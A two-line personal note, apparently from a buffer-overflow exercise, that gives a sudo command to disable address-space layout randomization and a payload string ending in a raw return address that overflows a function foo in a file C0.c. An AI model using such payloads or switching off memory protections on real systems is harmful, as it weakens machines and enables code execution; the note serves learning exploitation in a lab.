to switch off address randomization echo 0 | sudo tee /proc/sys/kernel/randomize_va_space C0.c add to string " \x15\xcd\x5b\x07" to get foo("my string is too long !!!!! \x15\xcd\x5b\x07");